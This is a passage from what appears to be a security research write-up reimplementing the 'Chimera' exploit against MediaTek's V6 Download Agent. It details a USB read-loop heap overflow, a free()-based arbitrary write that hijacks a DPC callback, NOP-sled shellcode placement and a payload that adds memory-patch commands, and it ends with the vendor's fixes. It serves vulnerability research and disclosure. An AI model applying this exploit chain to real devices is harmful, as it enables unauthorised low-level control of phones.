    hook_install(&(hook_t)HOOK(0x4002AA88, 0x400068CC, error_path_hook, "error_path_2"));
8
    hook_install(&(hook_t)HOOK(0x4000FBE0, 0x4000693C, mxml_free_hook, "mxml_free"));
9
    hook_install(&(hook_t)HOOK(0x4000fcac, 0x40006E1C, mxml_inner_free_hook, "mxml_inner_free"));
10
    hook_install(&(hook_t)HOOK(0x4002A554, 0x40006B9C, mxml_escape_malloc_hook, "mxml_escape_malloc"));
11
    hook_install(&(hook_t)HOOK(0x4002A8F4, 0x40006D6C, mxml_escape_hook, "mxml_escape"));
12
}

Heap Layout#

With the previous hooks in place, we ran Chimera again and watched the UART output. The heap layout became clear:

When the second AIO command arrives, Chimera sends it with a huge filename full of special characters. This does two things:

1. Heap shaping: mxmlLoadString allocates a buffer for the filename string, which ends up right after the AIO2 data buffer due to the allocation size.
2. XML expansion overflow: When mxml_escape processes the special characters, it expands them (& → &, etc.) and overflows into the AIO1 shellcode buffer.

A Dead End: The XML Overflow#

We initially thought the XML expansion was the exploit. After all, it’s a massive overflow, nearly 7.5KB past the end of the buffer!

When the second AIO command arrives, mxml_escape processes the long filename full of special characters.

The expanded output overflows past the 0x200-byte buffer and corrupts the AIO signature buffer 1 that sits right after it.

Remember what happens in set_all_in_one_signature_buffer:

1
if (_g_ext_all_in_one_sig != (uint8_t *)0x0) {
2
    free(_g_ext_all_in_one_sig);
3
}

If a previous AIO signature exists, it gets freed before storing the new one. So when the second AIO command completes successfully, the corrupted AIO buffer 1 gets freed.

We tried to replicate this ourselves: send the first AIO, then send the second AIO with the malicious filename, but without aborting like Chimera does. The result was a crash:

1
data fault: PC at 0x40009ec4, FAR 0x6d61263b3b3b747c, iss 0x61
2
ESR 0x96000061: ec 0x25, il 0x2000000, iss 0x61
3
iframe 0x402836d0:
4
x0  0x6d61263b3b3b746c x1  0x              3a x2  0x        40075820 x3  0x        40075840
5
x4  0x        40043d6f x5  0x        400441e7 x6  0x              58 x7  0x              78
6
x8  0x6d61263b3b3b746c x9  0x3b3b3b3b3b3b3b70 x10 0x             657 x11 0x             654
7
x12 0x        31bb1508 x13 0x        40070160 x14 0x              68 x15 0x        40282fbf
6 collapsed lines
8
x16 0xfffffffffffffe02 x17 0x        400441a6 x18 0x               d x19 0x              3a
9
x20 0x        403084e0 x21 0x        40076000 x22 0x        40070000 x23 0x        40287e40
10
x24 0x        40070000 x25 0x        40008db8 x26 0x        40055000 x27 0x        40070000
11
x28 0x               0 x29 0x        402837e0 lr  0x        4002ccbc usp 0x99b04a2404743432
12
elr 0x        40009ec4
13
spsr 0x        6200038d
14
#die sync exception.

Looking at the decompiled DA2, the crash happens in free():

1
free:
2
    40009eb8  cbz   ptr, LAB_40009ecc
3
    40009ebc  ldp   x8, x9, [ptr, #-0x10]   ; load chunk header
4
    40009ec0  mov   ptr, x8
5
    40009ec4  str   x9, [x8, #0x10]         ; CRASH HERE

The FAR shows 0x6d61263b3b3b747c, which is ASCII for ma&;;;t|, basically corrupted data from the XML expansion overwriting the chunk header.

At first, this seemed promising: if we could control the chunk metadata with the overflow, maybe we could turn this into an arbitrary write during free().

But there’s a problem: we can’t send arbitrary bytes in the XML filename. Special characters get entity-encoded (& becomes &, etc.), and null bytes get rejected by the XML parser entirely.

To craft a fake chunk header, we’d need to overwrite ptr and size in the alloc_struct_begin with controlled values.

For example, to fake a pointer like 0x40070028, we’d need to send bytes 28 00 07 40 00 00 00 00, but those null bytes are impossible to include in an XML string.

After countless hours of brainstorming, experimenting with different character combinations, and desperately searching for some way to sneak controlled bytes through the XML parser, we finally admitted defeat. The XML overflow, despite its impressive size, simply wasn’t exploitable.

Which meant Chimera had to be doing something else entirely. The XML expansion overflow was a red herring, likely included to confuse people like us :P.

(and it actually did, we wasted way more time than we’d like to admit trying to make something useful out of it).

The Real Exploit: USB Overflow#

Going back to the USB capture, we focused on why Chimera was aborting the second AIO command instead of completing it normally.

While analyzing more closely, we noticed something odd about how Chimera sends the second AIO file.

According to the V6 protocol, before sending file data, the host advertises how many bytes the DA should expect. Looking at the capture:

1
4F 4B 40 35 31 31 36 20  ->  "OK@5116"

So they tell the DA they’ll send 0x13FC bytes (5116 in decimal). But the actual payload size was 0x2410 bytes, nearly twice as much.

We went back to fp_read_host_file and looked at the download loop more carefully:

1
advertised_size = atoll(vec[1]); // size from host (0x13fc)
2

3
*out_data_len = (uint)advertised_size;
4
buffer = (char *)malloc(advertised_size + 4); // allocate with 4-byte overhead
5
*out_data = buffer;
6

7
(*channel->write)((uint8_t *)"OK", 3);
8

9
if (advertised_size != 0) {
10
    bytes_received = 0;
11
    do {
12
        // ... read OK from host ...
13
        (*channel->write)((uint8_t *)"OK", 3);
14
        chunk_len = packet_size; // 0x20000 bytes max per USB packet
15
        status = (*channel->read)((uint8_t *)(buffer + bytes_received), &chunk_len);
16
        if (status != 0) goto usb_error;
17
        bytes_received = bytes_received + chunk_len;
18
        (*channel->write)((uint8_t *)"OK", 3);
19
    } while (bytes_received != advertised_size);
20
}

The DA allocates a buffer based on advertised_size plus a 4-byte overhead (probably for a null terminator or length field), but the read loop uses packet_size (0x20000) for each chunk, not the remaining bytes.

The loop only terminates when bytes_received == advertised_size, so if the host advertises a small size but sends more data than that, the DA will happily write past the end of the allocated buffer.

In Chimera’s case:

• Host advertises 0x13FC bytes
• DA allocates 0x1400 bytes (0x13FC + 4 overhead)
• Host actually sends 0x1410 bytes
• The DA reads the full chunk, overflowing by 0x10 bytes into the next chunk’s header

And since we’re sending raw USB data (not XML-encoded strings), we have full control over every byte, including null bytes!

The Write Primitive#

On ARM64, the allocated chunk header looks like:

1
+0x00: ptr   (8 bytes) - pointer to chunk start
2
+0x08: size  (8 bytes) - allocation size
3
+0x10: data  (user data starts here)

When free() is called on a chunk, it does:

1
free:
2
    cbz    ptr, return           ; if (ptr == NULL) return
3
    ldp    x8, x9, [ptr, #-0x10] ; x8 = alloc.ptr, x9 = alloc.size
4
    mov    ptr, x8               ; chunk = alloc.ptr
5
    str    x9, [x8, #0x10]       ; chunk->len = alloc.size  <-- the write
6
    b      heap_insert_free_chunk

What matters here is str x9, [x8, #0x10]. It writes alloc.size to alloc.ptr + 0x10.

If we can control both ptr and size in the chunk header through our overflow, we get an arbitrary write primitive: write size to ptr + 0x10.

1
0x40070030: key
2
0x40070038: cb    <- function pointer we want to overwrite
3
0x40070040: arg

1
0x4530bda8: ptr  = 0x40070028     (0x10 bytes before dpc->cb)
2
0x4530bdb0: size = shellcode_addr
3
0x4530bdb8: data = "file_name..." (the huge filename)

Predicting the Heap Layout#

While reimplementing the exploit, we realized the original approach was unnecessarily complicated.

There are two separate allocations involving the filename:

1. mxml_escape buffer (0x200 bytes, static): Allocated once and reused. The XML expansion overflows this buffer, but since it’s static, it doesn’t affect heap layout at all.

2. XML filename node buffer (dynamic): When mxmlLoadString parses the command, it allocates storage for the filename string. This allocation depends on the filename length before escaping, and this is what actually shapes the heap.

The original exploit used a filename stuffed with special characters, presumably to trigger the XML expansion.

But that expansion only affects the static mxml_escape buffer, it has nothing to do with where the filename node ends up on the heap.

What actually matters is the size of the filename when mxmlLoadString sees it. A 5KB filename of & characters? 5KB node allocation. A 5KB filename of A characters? Same thing.

So we simplified, just send a bunch of As. We started small; 1KB, 2KB, 3KB and we kept watching the heap through our hooks until the allocations lined up.

At around 5KB, the XML filename node landed right after our AIO2 buffer, exactly where we needed it.

Same result, far less complexity ;)!

Landing the Shellcode#

There’s one more challenge we haven’t addressed: where exactly does our shellcode land?

The heap base address varies between devices and DA versions. On the Nothing Phone 2A, it starts at 0x4007F100. On other devices, it might be completely different.

And even on the same device, the exact location of our AIO1 buffer depends on what allocations happened before it.

We could try to calculate the exact address by analyzing the DA’s initialization sequence, tracking every allocation, and predicting where our shellcode ends up.

But that’s fragile, any change in the DA’s behavior would break our calculations. Instead, we took the lazy approach: NOP sleds.

The heap is huge, 800MB on every V6 DA we’ve analyzed. We don’t need to land precisely on our shellcode; we just need to land somewhere in front of it.

So we pad our payload with a massive NOP sled (about 10% of the heap size, roughly 80MB of NOPs), then place the actual shellcode at the end. When we overwrite dpc->cb, we point it near the end of the sled, at 95%.

If we land anywhere in the sled, execution slides down through the NOPs until it hits our shellcode. As long as our target address is within the sled, we’re good.

We calculate the target address as 95% into the sled, aligned to 4 bytes for ARM:

1
let sled_size = (heap_params.heap_size / 10) as usize;
2
let shellcode_addr = (heap_params.heap_base + (sled_size as f64 * 0.95) as u64) & !3;

It’s not elegant, but it works reliably across different devices without needing precise heap layout predictions.

Hakujoudai#

With code execution achieved, we needed a payload that would give us persistent control over the DA. We called it hakujoudai (白杖代).

The name was shomy’s idea, it’s a reference to Toilet-bound Hanako-kun, where hakujoudai are supernatural orbs used by ghosts to power up, scout, and take control of spaces beyond their reach.

We thought it fit: we corrupt the heap, leave it for dead, then come back to haunt it.

Fixing the Heap#

The first thing hakujoudai does is repair the damage. It walks the free list and validates each entry.

If a chunk’s address falls outside the heap region ([heap_base, heap_base + heap_size]), it’s invalid and gets unlinked:

1
while (iterations++ < max_iter) {
2
    bool valid = ptr_valid((uintptr_t)curr, (uintptr_t)head, end);
3

4
    if (valid) {
5
        // Keep this chunk in the list
6
        last_valid->next = curr;
7
        curr->prev = last_valid;
8
        last_valid = curr;
9
    } else {
10
        // Invalid chunk, skip it and clear DPC if needed
11
        if ((uintptr_t)curr <= base || (uintptr_t)curr > end)
12
            clear_dpc((uintptr_t)curr);
13
    }
14

15
    curr = next;
16
}

When we encounter our fake chunk (pointing to DPC), we also clear the DPC structure to prevent the callback from firing again:

1
static void clear_dpc(uintptr_t corrupted_node)
2
{
3
    uintptr_t dpc_key_addr = corrupted_node + DPC_KEY_OFFSET;
4
    memset((void *)dpc_key_addr, 0, DPC_CLEAR_SIZE);
5
}

1
register_major_command("CMD:BOOT-TO", "1", cmd_boot_to);
2
register_major_command("CMD:EXP-CALL-FUNC", "1", cmd_call_function);
3
register_major_command("CMD:EXP-PATCH-MEM", "1", cmd_patch_mem);

1
dagent_command_loop2();

1
static void (*const volatile register_major_command)(...) = (void *)0x11111111;
2
static void (*const volatile dagent_command_loop2)(void) = (void *)0x22222222;
3
static volatile uintptr_t heap_struct = 0x33333333;

1
patch_pattern_str(&mut payload_bin, "11111111", &bytes_to_hex(&params.reg_cmd.to_le_bytes()))?;
2
patch_pattern_str(&mut payload_bin, "22222222", &bytes_to_hex(&params.cmd_loop.to_le_bytes()))?;
3
patch_pattern_str(&mut payload_bin, "33333333", &bytes_to_hex(&params.theheap.to_le_bytes()))?;
4
// ... etc

XML Expansion Fix#

The mxml_escape function now allocates a properly sized buffer and checks for overflow before each write:

1
#define DEST_BUFFER_SIZE (MAX_FILE_NAME_LEN * 6)
2

3
if (dest == NULL)
4
    dest = (char *)malloc(DEST_BUFFER_SIZE);
5

6
// ...
7

8
for (; i < len; ++i) {
9
    if ((p - dest) >= (DEST_BUFFER_SIZE - 6)) {
10
        LOGE("Dest XML file name buffer overflow");
11
        return "";
12
    }
13
    // ... expansion logic ...
14
}

The buffer is now MAX_FILE_NAME_LEN * 6 to account for worst-case expansion (all " characters becoming "), and it bails out if there’s not enough space for another expansion.

USB Overflow Fix#

The fp_read_host_file function now calculates the correct number of bytes to read instead of blindly using package_len:

1
while (xfered < total_length) {
2
    // ...
3

4
    len = total_length - xfered;
5
    len = len >= package_len ? package_len : len;
6

7
    if (channel->read(buf + xfered, (uint32_t *)&len) != 0) {
8
        // ...
9
    }
10
    // ...
11
}

Instead of len = package_len, it now calculates the remaining bytes (total_length - xfered) and uses whichever is smaller. This prevents reading more data than the buffer can hold.

The loop condition also changed to prevent issues if xfered somehow overshoots total_length.